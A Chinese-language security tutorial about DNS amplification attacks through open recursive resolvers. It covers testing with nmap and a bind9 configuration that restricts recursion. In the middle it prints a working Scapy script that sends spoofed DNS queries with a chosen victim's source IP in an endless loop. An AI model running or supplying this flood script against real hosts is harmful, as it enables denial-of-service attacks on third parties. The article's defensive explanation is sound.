首页 网络安全 安全学院 查看内容

测试DNS区域递归漏洞以及避免DNS放大攻击

2016-1-7 13:57 3571 0

摘要: 尽管专家提醒过很多次,但仍然有非常多的DNS服务器允许递归解析到外网的设备,这一点可以被用来进行DNS放大攻击。那么怎样攻击呢?通常,攻击者使用僵尸网络向受害者的IP地址发送一个伪造的DNS请求,错误设置的DNS应 ...
关键词: nbsp 攻击 递归 DNS 受害者 脚本 攻击者 10.1 recursiononly recursion

尽管专家提醒过很多次,但仍然有非常多的DNS服务器允许递归解析到外网的设备,这一点可以被用来进行DNS放大攻击。

那么怎样攻击呢?通常,攻击者使用僵尸网络向受害者的IP地址发送一个伪造的DNS请求,错误设置的DNS应答会使数据包被发送到受害者的IP地址,从而导致分布式拒绝服务攻击(DDoS)。

怎样测试你的DNS设备是否允许来自外部的递归解析呢?你可以使用这个叫dns-recursion 的nmap脚本:

如果它没有被启用,你只会得到一个开放端口的指示:

这个攻击是怎么运作的?我们来看下面的示意图:

攻击的POC可以很容易地用如下的scapy脚本被执行,由攻击者决定是否执行它:

#!/usr/bin/python
from scapy.all import *
victimIP = raw_input("Please enter the IP address for the victim: ")
dnsIP = raw_input("Please enter the IP address for the misconfigured DNS: ")
while True:
        send(IP(dst=dnsIP,src=victimIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.google.com")),verbose=0)

我把这个脚本命名为dnscapy.py。当它执行时:

在受害者那边得到如下数据包:

怎样避免这种攻击呢?如果你正在使用bind9,那么把下面这些加入到全局选项。假设你的企业网络是10.1.1.0/24 和10.1.2.0/24:

acl recursiononly { 10.1.1.0/24; 10.1.2.0/24; };
options {
  allow-query { any; };
  allow-recursion { recursiononly; };
};

    声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

    路过

    雷人

    握手

    鲜花

    鸡蛋

    最新评论

    返回顶部